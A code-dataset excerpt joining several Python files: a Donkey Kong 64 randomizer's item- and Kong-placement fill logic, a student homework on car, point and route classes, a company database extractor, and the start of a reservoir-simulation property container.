random.choice(progressionKongItems)\n # Now that we have a combination guaranteed to not break the seed or logic, lock it in\n LocationList[progressionLocation].PlaceItem(kongToBeFreed)\n kongItems.remove(kongToBeFreed)\n ownedKongs.append(ItemPool.GetKongForItem(kongToBeFreed))\n # Refresh the location list and repeat until all Kongs are free\n logicallyAccessibleKongLocations = GetLogicallyAccessibleKongLocations(spoiler, kongLocations, ownedKongs, latestLogicallyAllowedLevel)\n # Pick freeing kongs for any that are still \"any\" with no restrictions.\n if spoiler.settings.diddy_freeing_kong == Kongs.any:\n spoiler.settings.diddy_freeing_kong = random.choice(GetKongs())\n if spoiler.settings.lanky_freeing_kong == Kongs.any:\n spoiler.settings.lanky_freeing_kong = random.choice(GetKongs())\n if spoiler.settings.tiny_freeing_kong == Kongs.any:\n spoiler.settings.tiny_freeing_kong = random.choice([Kongs.diddy, Kongs.chunky])\n if spoiler.settings.chunky_freeing_kong == Kongs.any:\n spoiler.settings.chunky_freeing_kong = random.choice(GetKongs())\n\n\ndef FillKongsAndMoves(spoiler):\n \"\"\"Fill kongs, then progression moves, then shared moves, then rest of moves.\"\"\"\n itemsToPlace = []\n validLocations = {}\n preplacedPriorityMoves = []\n\n # Handle kong rando\n if spoiler.settings.kong_rando:\n # Determine what kong items need to be placed\n startingKongItems = [ItemPool.ItemFromKong(kong) for kong in spoiler.settings.starting_kong_list]\n kongItems = [item for item in ItemPool.Kongs(spoiler.settings) if item not in startingKongItems]\n # Determine what locations the kong items need to be placed in\n kongValidLocations = {}\n kongLocations = [Locations.DiddyKong, Locations.LankyKong, Locations.TinyKong, Locations.ChunkyKong]\n if any(spoiler.settings.kong_locations):\n emptyKongLocations = [location for location in kongLocations if location not in spoiler.settings.kong_locations]\n for locationId in emptyKongLocations:\n LocationList[locationId].PlaceItem(Items.NoItem)\n kongLocations.remove(locationId)\n for item in kongItems:\n kongValidLocations[item] = kongLocations\n # We place Kongs first so we know what Kong moves are most important to place next\n Reset()\n # Specialized Kong placement function that will never fail to find a beatable combination of Kong unlocks\n PlaceKongs(spoiler, kongItems, [x for x in kongLocations])\n\n # If kongs are our progression, then place moves that unlock those kongs before anything else\n # This logic only matters if the level order is critical to progression (i.e. not loading zone shuffled)\n if spoiler.settings.kongs_for_progression and spoiler.settings.shuffle_loading_zones != \"all\" and spoiler.settings.move_rando != \"start_with\":\n debuginfo = {}\n locationsLockingKongs = [location for location in kongLocations]\n ownedKongs = [kong for kong in spoiler.settings.starting_kong_list]\n latestLogicallyAllowedLevel = spoiler.settings.starting_kongs_count + 1\n levelIndex = 1\n checkedAllLogicallyAvailableLevels = False\n # Loop until we've logically unlocked all the kongs\n # It may take multiple loops through available levels before we unlock all kongs\n while len(ownedKongs) != 5:\n latestLogicallyAllowedLevel = len(ownedKongs) + 1\n priorityItemsDict = {}\n kongToBeGained = None\n # For each level that has a locked kong, identify the items needed to unlock them\n # We're about to place these items in accessible locations, so assume can we now own the kong\n if spoiler.settings.level_order[levelIndex] == Levels.FranticFactory and Locations.ChunkyKong in locationsLockingKongs and spoiler.settings.chunky_freeing_kong in ownedKongs:\n locationsLockingKongs.remove(Locations.ChunkyKong)\n kongToBeGained = ItemPool.GetKongForItem(LocationList[Locations.ChunkyKong].item)\n # No prerequisites for Chunky's Cage (yet)\n if spoiler.settings.level_order[levelIndex] == Levels.JungleJapes and Locations.DiddyKong in locationsLockingKongs and spoiler.settings.diddy_freeing_kong in ownedKongs:\n locationsLockingKongs.remove(Locations.DiddyKong)\n kongToBeGained = ItemPool.GetKongForItem(LocationList[Locations.DiddyKong].item)\n directPrerequisiteMoves = GetItemPrerequisites(spoiler, LocationList[Locations.DiddyKong].item, ownedKongs)\n for move in directPrerequisiteMoves:\n if move not in preplacedPriorityMoves:\n priorityItemsDict[move] = GetValidLocationsForMove(spoiler, move)\n if spoiler.settings.level_order[levelIndex] == Levels.AngryAztec and Locations.TinyKong in locationsLockingKongs and spoiler.settings.tiny_freeing_kong in ownedKongs:\n locationsLockingKongs.remove(Locations.TinyKong)\n kongToBeGained = ItemPool.GetKongForItem(LocationList[Locations.TinyKong].item)\n directPrerequisiteMoves = GetItemPrerequisites(spoiler, LocationList[Locations.TinyKong].item, ownedKongs)\n for move in directPrerequisiteMoves:\n if move not in preplacedPriorityMoves:\n priorityItemsDict[move] = GetValidLocationsForMove(spoiler, move)\n elif (\n spoiler.settings.level_order[levelIndex] == Levels.AngryAztec\n and Locations.LankyKong in locationsLockingKongs\n and spoiler.settings.lanky_freeing_kong in ownedKongs\n # Must be able to bypass Guitar door - the active bananaports condition is in case your only Llama Temple access is through the quicksand cave\n and (Kongs.diddy in ownedKongs or spoiler.settings.open_levels or (Kongs.donkey in ownedKongs and spoiler.settings.activate_all_bananaports == \"all\"))\n and (Kongs.donkey in ownedKongs or Kongs.lanky in ownedKongs or Kongs.tiny in ownedKongs)\n ):\n locationsLockingKongs.remove(Locations.LankyKong)\n kongToBeGained = ItemPool.GetKongForItem(LocationList[Locations.LankyKong].item)\n directPrerequisiteMoves = GetItemPrerequisites(spoiler, LocationList[Locations.LankyKong].item, ownedKongs)\n for move in directPrerequisiteMoves:\n if move not in preplacedPriorityMoves:\n priorityItemsDict[move] = GetValidLocationsForMove(spoiler, move)\n\n # Place the priority items and any items they may depend on\n while any(priorityItemsDict):\n # Do not allow anything here to be placed in levels that would break the level order kong logic\n # The -1 is because we just added 1 earlier and there isn't a convenient way to do it later\n BlockAccessToLevel(spoiler.settings, latestLogicallyAllowedLevel)\n Reset()\n priorityItems = list(priorityItemsDict.keys())\n # Assume we have all other moves as we place items. This increases the potential number of locations items can be shuffled into\n allOtherItems = ItemPool.OwnedKongMoves(ownedKongs).copy()\n # Two exceptions: we don't assume we have the items to be placed, as then they could lock themselves\n for item in priorityItemsDict.keys():\n allOtherItems.remove(item)\n # We also don't assume we have any preplaced priority moves. If these unlock locations we should find them as we go.\n # This should prevent circular logic (e.g. the diddy-unlocking-gun being locked behind guitar which is already priority placed in Japes Cranky)\n for item in preplacedPriorityMoves:\n allOtherItems.remove(item)\n unplaced = PlaceItems(spoiler.settings, \"assumed\", priorityItems, ownedItems=allOtherItems, validLocations=priorityItemsDict, isPriorityMove=True)\n if unplaced > 0:\n raise Ex.ItemPlacementException(\"Failed to place items that would unlock Kong number \" + str(len(ownedKongs) + 1) + \", \" + kongToBeGained.name)\n preplacedPriorityMoves.extend(list(priorityItemsDict.keys()))\n # After placing these priority items, the new locations may require some of those items we assumed we had\n priorityItemDependencyDict = {}\n for item in list(priorityItemsDict.keys()):\n # DEBUG CODE - This helps find where items are being placed\n # location = None\n # for possibleLocationThisItemGotPlaced in priorityItemsDict[item]:\n # if LocationList[possibleLocationThisItemGotPlaced].item == item:\n # location = possibleLocationThisItemGotPlaced\n # break\n # debuginfo[item] = location\n\n # Find what items are needed to get this item\n dependencyPriorityMoves = GetItemPrerequisites(spoiler, item, ownedKongs)\n # If there are any...\n for move in dependencyPriorityMoves:\n # If we haven't placed it already, find the possible locations and prep the dictionary for the next loop\n if move not in preplacedPriorityMoves:\n priorityItemDependencyDict[move] = GetValidLocationsForMove(spoiler, move)\n # If we found any dependencies, we have to check for further dependencies\n priorityItemsDict = priorityItemDependencyDict\n # Update progression with any newly acquired Kongs\n if kongToBeGained is not None:\n ownedKongs.append(kongToBeGained)\n checkedAllLogicallyAvailableLevels = False\n # If we didn't find progression here, check the next logically available level\n else:\n # If we checked all the levels and don't have all the kongs, then we're logic-locked (somehow)\n if levelIndex == latestLogicallyAllowedLevel and checkedAllLogicallyAvailableLevels:\n raise Ex.ItemPlacementException(\"Kongs logically locked behind themselves. Only \" + str(len(ownedKongs)) + \" kongs logically accessible.\")\n elif levelIndex == latestLogicallyAllowedLevel:\n checkedAllLogicallyAvailableLevels = True\n # Wrap back to level 1 if we hit the end - it's logically possible we've now unlocked a kong that frees an earlier kong\n levelIndex = (levelIndex % latestLogicallyAllowedLevel) + 1\n # Undo any level blocking that may have been performed\n BlockAccessToLevel(spoiler.settings, 100)\n\n # Handle shared moves before other moves in move rando\n if spoiler.settings.shuffle_items == \"moves\":\n # Shuffle the shared move locations since they must be done first,\n # and return the kong moves and their locations\n (moveItems, moveLocations) = ShuffleSharedMoves(spoiler)\n itemsToPlace.extend(moveItems)\n validLocations.update(moveLocations)\n\n # Handle remaining moves/items\n Reset()\n itemsToPlace = [item for item in itemsToPlace if item not in preplacedPriorityMoves]\n unplaced = PlaceItems(spoiler.settings, \"assumed\", itemsToPlace, [], validLocations=validLocations)\n if unplaced > 0:\n raise Ex.ItemPlacementException(str(unplaced) + \" unplaced items.\")\n\n\ndef FillKongsAndMovesForLevelOrder(spoiler):\n \"\"\"Shuffle Kongs and Moves accounting for level order restrictions.\"\"\"\n # All methods here follow this Kongs vs level progression rule:\n # Must be able to have 2 kongs no later than level 2\n # Must be able to have 3 kongs no later than level 3\n # Must be able to have 4 kongs no later than level 4\n # Must be able to have 5 kongs no later than level 5\n # Valid Example:\n # 1. Caves - No kongs found\n # 2. Aztec - Can free 2nd kong here, other kong is move locked\n # 3. Japes - Can free 3rd kong here\n # 4. Galleon - Find move to free other kong from aztec\n # 5. Factory - Find last kong\n # 6. Castle\n # 7. Fungi\n # ALGORITHM START\n # print(\"Starting Kongs: \" + str([kong.name + \" \" for kong in spoiler.settings.starting_kong_list]))\n retries = 0\n while True:\n try:\n # Need to place constants to update boss key items after shuffling levels\n ItemPool.PlaceConstants(spoiler.settings)\n # Assume we can progress through the levels so long as we have enough kongs\n WipeProgressionRequirements(spoiler.settings)\n spoiler.settings.kongs_for_progression = True\n # Fill the kongs and the moves\n FillKongsAndMoves(spoiler)\n # Update progression requirements based on what is now accessible after all shuffles are done\n SetNewProgressionRequirements(spoiler.settings)\n # Once progression requirements updated, no longer assume we need kongs freed for level progression\n spoiler.settings.kongs_for_progression = False\n # Check if game is beatable\n if not VerifyWorldWithWorstCoinUsage(spoiler.settings):\n raise Ex.GameNotBeatableException(\"Game unbeatable after placing all items.\")\n return\n except Ex.FillException as ex:\n Reset()\n Logic.ClearAllLocations()\n retries += 1\n if retries == 20:\n js.postMessage(\"Fill failed, out of retries.\")\n raise ex\n # Every 5th fill, retry more aggressively by reshuffling level order and move prices\n if retries % 5 == 0:\n js.postMessage(\"Retrying fill really hard. Tries: \" + str(retries))\n spoiler.settings.shuffle_prices()\n if spoiler.settings.shuffle_loading_zones == \"levels\":\n ShuffleExits.ShuffleExits(spoiler.settings)\n spoiler.UpdateExits()\n else:\n js.postMessage(\"Retrying fill. Tries: \" + str(retries))\n\n\ndef GetAccessibleKongLocations(levels: list, ownedKongs: list):\n \"\"\"Get all kong locations within the provided levels which are reachable by owned kongs.\"\"\"\n kongLocations = []\n for level in levels:\n if level == Levels.JungleJapes:\n kongLocations.append(Locations.DiddyKong)\n elif level == Levels.AngryAztec:\n if Kongs.donkey in ownedKongs or Kongs.lanky in ownedKongs or Kongs.tiny in ownedKongs:\n kongLocations.append(Locations.LankyKong)\n if Kongs.diddy in ownedKongs:\n kongLocations.append(Locations.TinyKong)\n elif level == Levels.FranticFactory:\n if Kongs.lanky in ownedKongs or Kongs.tiny in ownedKongs:\n kongLocations.append(Locations.ChunkyKong)\n return kongLocations\n\n\ndef WipeProgressionRequirements(settings: Settings):\n \"\"\"Wipe out progression requirements to assume access through main 7 levels.\"\"\"\n for i in range(0, 7):\n # Assume T&S and B.Locker amounts will be attainable for now\n settings.EntryGBs[i] = 0\n settings.BossBananas[i] = 0\n # Assume starting kong can beat all the bosses for now\n settings.boss_kongs[i] = settings.starting_kong\n settings.boss_maps[i] = Maps.JapesBoss\n # Also for now consider any kong can free any other kong, to avoid false failures in fill\n if settings.kong_rando:\n settings.diddy_freeing_kong = Kongs.any\n settings.lanky_freeing_kong = Kongs.any\n settings.tiny_freeing_kong = Kongs.any\n settings.chunky_freeing_kong = Kongs.any\n\n\ndef SetNewProgressionRequirements(settings: Settings):\n \"\"\"Set new progression requirements based on what is owned or accessible heading into each level.\"\"\"\n # Find for each level: # of accessible bananas, total GBs, owned kongs & owned moves\n coloredBananaCounts = []\n goldenBananaTotals = []\n ownedKongs = {}\n ownedMoves = {}\n if settings.unlock_all_moves:\n allMoves = ItemPool.DonkeyMoves.copy()\n allMoves.extend(ItemPool.DiddyMoves)\n allMoves.extend(ItemPool.LankyMoves)\n allMoves.extend(ItemPool.TinyMoves)\n allMoves.extend(ItemPool.ChunkyMoves)\n allMoves.extend(ItemPool.ImportantSharedMoves)\n for level in range(1, 8):\n BlockAccessToLevel(settings, level)\n Reset()\n accessible = GetAccessibleLocations(settings, [])\n previousLevel = GetLevelShuffledToIndex(level - 1)\n coloredBananaCounts.append(LogicVariables.ColoredBananas[previousLevel])\n goldenBananaTotals.append(LogicVariables.GoldenBananas)\n ownedKongs[previousLevel] = LogicVariables.GetKongs()\n if settings.unlock_all_moves:\n ownedMoves[previousLevel] = allMoves\n else:\n accessibleMoves = [LocationList[x].item for x in accessible if LocationList[x].type == Types.Shop and LocationList[x].item != Items.NoItem and LocationList[x].item is not None]\n ownedMoves[previousLevel] = accessibleMoves\n # Cap the B. Locker and T&S amounts based on a random fraction of accessible bananas & GBs\n BLOCKER_MIN = 0.4\n BLOCKER_MAX = 0.7\n settings.EntryGBs = [\n min(settings.blocker_0, 1), # First B. Locker shouldn't be more than 1 GB\n min(settings.blocker_1, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[0]))),\n min(settings.blocker_2, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[1]))),\n min(settings.blocker_3, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[2]))),\n min(settings.blocker_4, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[3]))),\n min(settings.blocker_5, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[4]))),\n min(settings.blocker_6, max(1, round(random.uniform(BLOCKER_MIN, BLOCKER_MAX) * goldenBananaTotals[5]))),\n settings.blocker_7, # Last B. Locker shouldn't be affected\n ]\n # Prevent scenario where B. Lockers randomize to not-always-increasing values\n if settings.randomize_blocker_required_amounts:\n for i in range(1, 7):\n # If this level is more expensive than the next level, swap the B. Lockers\n # This will never break logic - if you could get into a more expensive level 3, you could get into an equally expensive level 4\n if settings.EntryGBs[i] > settings.EntryGBs[i + 1]:\n temp = settings.EntryGBs[i]\n settings.EntryGBs[i] = settings.EntryGBs[i + 1]\n settings.EntryGBs[i + 1] = temp\n settings.BossBananas = [\n min(settings.troff_0, sum(coloredBananaCounts[0]), round(settings.troff_0 / (settings.troff_max * settings.troff_weight_0) * sum(coloredBananaCounts[0]))),\n min(settings.troff_1, sum(coloredBananaCounts[1]), round(settings.troff_1 / (settings.troff_max * settings.troff_weight_1) * sum(coloredBananaCounts[1]))),\n min(settings.troff_2, sum(coloredBananaCounts[2]), round(settings.troff_2 / (settings.troff_max * settings.troff_weight_2) * sum(coloredBananaCounts[2]))),\n min(settings.troff_3, sum(coloredBananaCounts[3]), round(settings.troff_3 / (settings.troff_max * settings.troff_weight_3) * sum(coloredBananaCounts[3]))),\n min(settings.troff_4, sum(coloredBananaCounts[4]), round(settings.troff_4 / (settings.troff_max * settings.troff_weight_4) * sum(coloredBananaCounts[4]))),\n min(settings.troff_5, sum(coloredBananaCounts[5]), round(settings.troff_5 / (settings.troff_max * settings.troff_weight_5) * sum(coloredBananaCounts[5]))),\n min(settings.troff_6, sum(coloredBananaCounts[6]), round(settings.troff_6 / (settings.troff_max * settings.troff_weight_6) * sum(coloredBananaCounts[6]))),\n ]\n # Update values based on actual level progression\n ShuffleExits.UpdateLevelProgression(settings)\n ShuffleBossesBasedOnOwnedItems(settings, ownedKongs, ownedMoves)\n settings.owned_kongs_by_level = ownedKongs\n settings.owned_moves_by_level = ownedMoves\n\n\ndef BlockAccessToLevel(settings: Settings, level):\n \"\"\"Assume the level index passed in is the furthest level you have access to in the level order.\"\"\"\n for i in range(0, 7):\n if i >= level:\n # This level and those after it are locked out\n settings.EntryGBs[i] = 1000\n settings.BossBananas[i] = 1000\n else:\n # Previous levels assumed accessible\n settings.EntryGBs[i] = 0\n settings.BossBananas[i] = 0\n # Update values based on actual level progression\n ShuffleExits.UpdateLevelProgression(settings)\n\n\ndef Generate_Spoiler(spoiler):\n \"\"\"Generate a complete spoiler based on input settings.\"\"\"\n # Init logic vars with settings\n global LogicVariables\n LogicVariables = LogicVarHolder(spoiler.settings)\n # Initiate kasplat map with default\n InitKasplatMap(LogicVariables)\n # Handle Kong Rando + Level Rando combination separately since it is more restricted\n if spoiler.settings.kongs_for_progression:\n # Handle Level Order if randomized\n if spoiler.settings.shuffle_loading_zones == \"levels\":\n ShuffleExits.ShuffleExits(spoiler.settings)\n spoiler.UpdateExits()\n # Assume we can progress through the levels, since these will be adjusted within FillKongsAndMovesForLevelRando\n WipeProgressionRequirements(spoiler.settings)\n # Handle misc randomizations\n ShuffleMisc(spoiler)\n # Handle Item Fill\n FillKongsAndMovesForLevelOrder(spoiler)\n else:\n # Handle misc randomizations\n ShuffleMisc(spoiler)\n # Handle Loading Zones\n if spoiler.settings.shuffle_loading_zones != \"none\":\n ShuffleExits.ExitShuffle(spoiler.settings)\n spoiler.UpdateExits()\n # Handle Item Fill\n if spoiler.settings.shuffle_items == \"all\":\n Fill(spoiler)\n elif spoiler.settings.shuffle_items == \"moves\" or spoiler.settings.kong_rando:\n FillKongsAndMovesGeneric(spoiler)\n else:\n # Just check if normal item locations are beatable with given settings\n ItemPool.PlaceConstants(spoiler.settings)\n if not GetAccessibleLocations(spoiler.settings, [], SearchMode.CheckBeatable):\n raise Ex.VanillaItemsGameNotBeatableException(\"Game unbeatable.\")\n GeneratePlaythrough(spoiler)\n if spoiler.settings.wrinkly_hints in [\"standard\", \"cryptic\"]:\n compileHints(spoiler)\n Reset()\n ShuffleExits.Reset()\n return spoiler\n\n\ndef ShuffleMisc(spoiler):\n \"\"\"Shuffle miscellaneous objects outside of main fill algorithm, including Kasplats, Bonus barrels, and bananaport warps.\"\"\"\n # Handle kasplats\n KasplatShuffle(spoiler, LogicVariables)\n spoiler.human_kasplats = {}\n spoiler.UpdateKasplats(LogicVariables.kasplat_map)\n # Handle bonus barrels\n if spoiler.settings.bonus_barrels in (\"random\", \"selected\"):\n BarrelShuffle(spoiler.settings)\n spoiler.UpdateBarrels()\n # Handle Bananaports\n if spoiler.settings.bananaport_rando:\n replacements = []\n human_replacements = {}\n ShuffleWarps(replacements, human_replacements)\n spoiler.bananaport_replacements = replacements.copy()\n spoiler.human_warp_locations = human_replacements\n if spoiler.settings.random_patches:\n human_patches = []\n spoiler.human_patches = ShufflePatches(spoiler, human_patches).copy()\n if spoiler.settings.shuffle_shops:\n ShuffleShopLocations(spoiler)\n if spoiler.settings.activate_all_bananaports in [\"all\", \"isles\"]:\n warpMapIds = set([BananaportVanilla[warp].map_id for warp in Warps])\n for map_id in warpMapIds:\n mapWarps = [BananaportVanilla[warp] for warp in Warps if BananaportVanilla[warp].map_id == map_id]\n for warpData in mapWarps:\n pairedWarpData = [\n BananaportVanilla[pair]\n for pair in Warps\n if BananaportVanilla[pair].map_id == map_id and BananaportVanilla[pair].new_warp == warpData.new_warp and BananaportVanilla[pair].name != warpData.name\n ][0]\n # Add an exit to each warp's region to the paired warp's region unless it's the same region\n if warpData.region_id != pairedWarpData.region_id and (spoiler.settings.activate_all_bananaports == \"all\" or (warpData.map_id == Maps.Isles)):\n warpRegion = Logic.Regions[warpData.region_id]\n bananaportExit = TransitionFront(pairedWarpData.region_id, lambda l: True)\n warpRegion.exits.append(bananaportExit)\n","sub_path":"randomizer/Fill.py","file_name":"Fill.py","file_ext":"py","file_size_in_byte":84759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"542401867","text":"\"\"\"\nДоработать класс Point: если обьект инизиализируется не интами - бросать исключение (TypeError); добавить название\nточки; добавить __repr__ который будет отдавать название и координаты.\nДоработать класс Nav: если обьект инициализируется не обьектами класса Point - бросать исключение (TypeError);\nреализовать инициализацию по нескольким точкам (не менее 2); добавить название маршрута, которое генерируется из\nstr(точек). функция расчета расстояния возвращает сумму расстояний между точками последовательно\n( a-->b + b-->c + c-->d .... )\n* На классе Car в функции ride реализуйте запись в файл всех маршрутов покоторым ездила машина и результатов поездок.\nесли машина ехала не по маршруту а по расстоянию - тоже записать, в каком виде - на ваше усмотрение.\n\"\"\"\n\n\nclass Car:\n\n def __init__(self, tank=0, fuel_cons=1):\n self._tank = tank\n self._fuel_cons = fuel_cons\n\n def ride(self, dist):\n\n if isinstance(dist, Nav):\n dist = dist.dist()\n\n if dist < 0:\n return {'error': 'error'}\n\n res = {\n 'target': False,\n 'distance driven': self._tank / self._fuel_cons,\n 'fuel': 0\n }\n\n if res['distance driven'] >= dist:\n res['distance driven'] = dist\n res['fuel'] = self._tank - dist * self._fuel_cons\n\n return res\n\n\nclass Point:\n\n def __init__(self, p_name, x, y):\n self.point_with_coords = {\"point_name\": p_name, \"x\": x if isinstance(x, int) else TypeError,\n \"y\": y if isinstance(y, int) else TypeError}\n\n def coords(self):\n return self.point_with_coords\n\n def showing_name_and_coords(self):\n return self.point_with_coords\n\n\nclass Nav:\n\n def __init__(self, *args):\n self.p_list = []\n self.route_name = []\n for arg in args:\n self.arg = arg.coords()\n self.p_list.append(self.arg[\"x\"])\n self.route_name.append(self.arg[\"point_name\"])\n self.dist_list = []\n for key, element in enumerate(self.p_list):\n if key + 1 <= len(self.p_list):\n if key + 1 < len(self.p_list) and key + 2 != len(self.p_list):\n self.dist_list.append(self.p_list[key + 1] - element)\n elif key + 1 == len(self.p_list):\n self.dist_list.append(self.p_list[key] - self.p_list[key - 1])\n\n def show_route(self):\n return self.route_name\n\n def dist(self):\n total_sum = 0\n for i in self.dist_list:\n total_sum += i\n return total_sum\n\n\npoint1 = Point(\"Kyiv\", 0, 0)\npoint2 = Point(\"Dnipro\", 10, 30)\npoint3 = Point(\"Lviv\", 40, 60)\n\nmy_nav = Nav(point1, point2, point3)\n\nprint(my_nav.dist())\n\ncar = Car(100, 2)\n\nprint(car.ride(my_nav))\nprint(car.ride(12345))\nprint(point1.showing_name_and_coords())\nprint(my_nav.show_route())","sub_path":"Class 10/Homework/Homework10v1.py","file_name":"Homework10v1.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"84217038","text":"# -------------------------------------------------------------------------------\n# company_extractor\n# -------------------------------------------------------------------------------\n# A class to extract all the companies from the DB\n#-------------------------------------------------------------------------\n# Author: Gladiators\n# Last updated: Dec 2015\n#-------------------------------------------------------------------------\n\nimport logging\nimport db_handler\nimport company\n\nclass company_finder():\n def __init__(self):\n logging.info('Initializing company_finder')\n self.m_DbHandler=db_handler.DbHandler()\n\n # create data members of the class company_finder\n self.m_NumberOfRows=0\n self.allcompanies=[]\n \n \n def getallcompanies(self):\n logging.info('company_finder.getallcompanies')\n self.m_DbHandler.connectToDb()\n cursor=self.m_DbHandler.getCursor()\n sql = \"\"\"\n SELECT * \n FROM team19.companies\n \"\"\"\n cursor.execute(sql)\n self.m_NumberOfRows = int(cursor.rowcount)\n logging.info(\"Number of companies \"+ str(self.m_NumberOfRows))\n company_records=cursor.fetchall()\n self.allcompanies=[]\n logging.info('record - now is the problem?? allcompanies')\n for company in company_records:\n current_company=company.company()\n current_company.brand=record[0]\n current_company.description = record[1]\n current_company.recruiter = record[2]\n self.allcompanies.append(current_company)\n return self.allcompanies\n\n#get companies formed by a specific user\n def get_rec_companies(self, email):\n logging.info('company_finder.get_rec_companies')\n self.m_DbHandler.connectToDb()\n cursor=self.m_DbHandler.getCursor()\n sql = \"\"\"\n SELECT brand, description \n FROM team19.companies\n WHERE recruiter=%s\n \"\"\"\n cursor.execute(sql, (email,))\n company_records=cursor.fetchall()\n self.allcompanies=[]\n logging.info('got all the companies added by the user: ' +str(company_records))\n for record in company_records:\n current_company=company.company()\n current_company.brand=record[0]\n current_company.description = record[1]\n self.allcompanies.append(current_company)\n return self.allcompanies \n \n \n ","sub_path":"company_extractor.py","file_name":"company_extractor.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"487140379","text":"import numpy as np\r\nfrom darts.models.physics.do_properties_python import *\r\n\r\nclass property_container:\r\n def __init__(self, phases_name, components_name, Mw=1, min_z=1e-11):\r\n super().__init__()\r\n # This class contains all the property evaluators required for simulation\r\n self.nph = len(phases_name)\r\n self.nc = len(components_name)\r\n self.components_name = components_name\r\n self.phases_name = phases_name\r\n self.min_z = min_z\r\n self.Mw = Mw\r\n\r\n self.rock_comp = 4.35e-5\r\n self.p_ref = 277.0\r\n\r\n # Allocate (empty) evaluators for functions\r\n self.density_ev = []\r\n self.viscosity_ev = []\r\n self.rel_perm_ev = []\r\n self.rel_well_perm_ev = []\r\n self.enthalpy_ev = []\r\n self.rock_energy_ev = []\r\n self.capillary_pressure_ev = []\r\n self.flash_ev = 0\r\n\r\n # passing arguments\r\n self.x = np.zeros((self.nph, self.nc))\r\n self.dens = np.zeros(self.nph)\r\n self.dens_m = np.zeros(self.nph)\r\n self.sat = np.zeros(self.nph)\r\n self.nu = np.zeros(self.nph)\r\n self.mu = np.zeros(self.nph)\r\n self.kr = np.zeros(self.nph)\r\n self.pc = np.zeros(self.nph)\r\n self.enthalpy = np.zeros(self.nph)\r\n\r\n self.phase_props = [self.dens, self.dens_m, self.sat, self.nu, self.mu, self.kr, self.pc, self.enthalpy]\r\n\r\n\r\n def comp_out_of_bounds(self, vec_composition):\r\n # Check if composition sum is above 1 or element comp below 0, i.e. if point is unphysical:\r\n temp_sum = 0\r\n count_corr = 0\r\n check_vec = np.zeros((len(vec_composition),))\r\n\r\n for ith_comp in range(len(vec_composition)):\r\n if vec_composition[ith_comp] < self.min_z:\r\n #print(vec_composition)\r\n vec_composition[ith_comp] = self.min_z\r\n count_corr += 1\r\n check_vec[ith_comp] = 1\r\n elif vec_composition[ith_comp] > 1 - self.min_z:\r\n #print(vec_composition)\r\n vec_composition[ith_comp] = 1 - self.min_z\r\n temp_sum += vec_composition[ith_comp]\r\n else:\r\n temp_sum += vec_composition[ith_comp]\r\n\r\n for ith_comp in range(len(vec_composition)):\r\n if check_vec[ith_comp] != 1:\r\n vec_composition[ith_comp] = vec_composition[ith_comp] / temp_sum * (1 - count_corr * self.min_z)\r\n return vec_composition\r\n\r\n def clean_arrays(self):\r\n for a in self.phase_props:\r\n a[:] = 0\r\n for j in range(self.nph):\r\n self.x[j][:] = 0\r\n\r\n def compute_saturation(self, ph):\r\n if len(ph) == 1:\r\n self.sat[ph[0]] = 1\r\n elif len(ph) == 2:\r\n denom = self.dens_m[ph[0]] - self.dens_m[ph[0]] * self.nu[ph[0]] + self.dens_m[ph[1]] * self.nu[ph[0]]\r\n self.sat[ph[0]] = self.dens_m[ph[1]] * self.nu[ph[0]] / denom\r\n self.sat[ph[1]] = self.dens_m[ph[0]] * self.nu[ph[1]] / denom\r\n else:\r\n denom = self.dens_m[0] * self.dens_m[1] * self.nu[2] + self.dens_m[0] * self.dens_m[2] * self.nu[1]\\\r\n + self.dens_m[1] * self.dens_m[2] * self.nu[0]\r\n self.sat[0] = self.dens_m[1] * self.dens_m[2] * self.nu[0] / denom\r\n self.sat[1] = self.dens_m[0] * self.dens_m[2] * self.nu[1] / denom\r\n self.sat[2] = self.dens_m[0] * self.dens_m[1] * self.nu[2] / denom\r\n\r\n def run_flash(self, pressure, zc):\r\n\r\n (self.x, self.nu) = self.flash_ev.evaluate(pressure, zc)\r\n\r\n ph = []\r\n for j in range(self.nph):\r\n if self.nu[j] > 0:\r\n ph.append(j)\r\n\r\n return ph\r\n\r\n\r\n\r\n def evaluate(self, state):\r\n \"\"\"\r\n Class methods which evaluates the state operators for the element based physics\r\n :param state: state variables [pres, comp_0, ..., comp_N-1]\r\n :param values: values of the operators (used for storing the operator values)\r\n :return: updated value for operators, stored in values\r\n \"\"\"\r\n # Composition vector and pressure from state:\r\n vec_state_as_np = np.asarray(state)\r\n pressure = vec_state_as_np[0]\r\n\r\n zc = np.append(vec_state_as_np[1:self.nc], 1 - np.sum(vec_state_as_np[1:self.nc]))\r\n\r\n if zc[-1] < 0:\r\n # print(zc)\r\n zc = self.comp_out_of_bounds(zc)\r\n\r\n self.clean_arrays()\r\n # two-phase flash - assume water phase is always present and water component last\r\n\r\n ph = self.run_flash(pressure, zc)\r\n\r\n for j in ph:\r\n M = 0\r\n # molar weight of mixture\r\n for i in range(self.nc):\r\n M += self.Mw[i] * self.x[j][i]\r\n self.dens[j] = self.density_ev[self.phases_name[j]].evaluate(pressure, self.x[j][0]) # output in [kg/m3]\r\n self.dens_m[j] = self.dens[j] / M\r\n self.mu[j] = self.viscosity_ev[self.phases_name[j]].evaluate() # output in [cp]\r\n\r\n self.compute_saturation(ph)\r\n\r\n for j in ph:\r\n self.kr[j] = self.rel_perm_ev[self.phases_name[j]].evaluate(self.sat[j])\r\n self.pc[j] = 0\r\n\r\n return self.sat, self.x, self.dens, self.dens_m, self.mu, self.kr, self.pc, ph\r\n\r\n def evaluate_thermal(self, state):\r\n \"\"\"\r\n Class methods which evaluates the state operators for the element based physics\r\n :param state: state variables [pres, comp_0, ..., comp_N-1]\r\n :param values: values of the operators (used for storing the operator values)\r\n :return: updated value for operators, stored in values\r\n \"\"\"\r\n # Composition vector and pressure from state:\r\n vec_state_as_np = np.asarray(state)\r\n temperature = vec_state_as_np[-1]\r\n\r\n for m 